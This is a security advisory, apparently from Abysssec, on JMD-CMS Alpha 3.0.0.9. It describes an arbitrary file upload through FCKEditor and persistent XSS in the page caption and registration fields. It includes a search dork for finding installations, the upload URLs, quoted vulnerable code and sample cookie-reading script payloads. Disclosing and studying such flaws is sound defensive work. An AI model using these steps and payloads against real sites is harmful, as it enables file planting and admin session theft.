JMD-CMS Multiple Remote Vulnerabilities

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JMD-CMS Multiple Remote Vulnerabilities
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  Title            :  JMD-CMS Multiple  Remote Vulnerabilities
  Affected Version :  JMD-CMS Alpha 3.0.0.9
  Discovery        :  www.abysssec.com
  Vendor       :  http://www.jmdcms.com/
 
  Download Links   :  http://jmdcms.codeplex.com/releases/view/6674          
 
  Dork         :  "powered by jmdcms.com"
               
 
  Admin Page       :  http://localhost/jmdcms/Login.aspx
   
  
Description :
===========================================================================================     
  This version of JMD-CMS(JMD-CMS Alpha 3.0.0.9) have Multiple Valnerabilities :
 
        1- Upload arbitrary file with FCKEditor
    2- Persistent XSS
 
 
 
1) Upload arbitrary file with FCKEditor:
===========================================================================================    
 
  With this vulnerability you can upload any file with this Link:
 
        http://localhost/jmdcms/FCKeditor/editor/fckeditor.html
or      http://localhost/jmdcms/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.aspx
   
  your files will be in this path:
 
        http://localhost/UserFiles/Image/
 
 
 
2) Persistent XSS Vulnerabilities:
===========================================================================================    
 
  1-In this path you can see a persistent XSS Valnerability in Caption field:
     (this page is accessible for Admin)
 
    http://localhost/jmdcms/addPage.aspx?Parent_Page=default
 
Vulnerable Code:
    In App_Web_25otrp1v.dll  --->  Modules_Admin_AddPage Class
 
        ////////////////////////////////////////////
    public void SavePage(string URI)
    ...
    .. 
    .
    this.Page_Name.Text = this.Page_Name.Text.Replace("~", "-");
        try
        {
            server.JMD_PAGE_SAVE(this.Page_Id.Value, Util.SiteURL(URI), this.Page_Name.Text, this.Page_Caption.Text, this.Meta_Title.Text, this.Meta_Desc.Text, this.Meta_Keywords.Text, this.Parent_Page_Name.Text, str, str2, str3, this.CBLToString(this.View_Roles), this.CBLToString(this.Add_Roles), this.CBLToString(this.Edit_Roles), this.CBLToString(this.Delete_Roles), this.CBLToString(this.Move_Roles), this.CBLToString(this.Add_Module_Roles), "0", str4, this.Page_Sort.Text, str5);
            ...   
        }
    ////////////////////////////////////////////
 
      As you can see No Sanitizasion for Value: this.Page_Caption.Text
      For example Caption can be: <script>alert(document.cookie)</script>            
     
 
   2- In Register Page :
    http://localhost/jmdcms/NewUser.aspx
 
      Code:
    In App_Web_25otrp1v.dll  --->  Modules_Core_NewUser class
         
    ////////////////////////////////////////////
    public bool SaveUser()
    ...
    .. 
    .      
        try
        {
                server.JMD_USER_INSERT(this.User_Id.Value, Util.SiteURL(base.Request.QueryString["Pg"].ToString()), this.User_Name.Text, this.User_Display_Name.Text, str, salt, this.Email.Text);
            ...   
        }
    ////////////////////////////////////////////
         
      No Sanitization for Values.
      For Example you can enter this values in Register Page: (This field  is limited to 50 Character)
 
      UserID      = user<script>alert(document.cookie)</script>   
      DisplayName = user<script>alert(document.cookie)</script>   
      Password    = user
      Email       = [email protected]<script>alert(document.cookie)</script>
 
      and when Admin see this page, your script will be run.
    http://localhost/jmdcms/Users.aspx
 
===========================================================================================



#  0day.today [2018-03-02]  #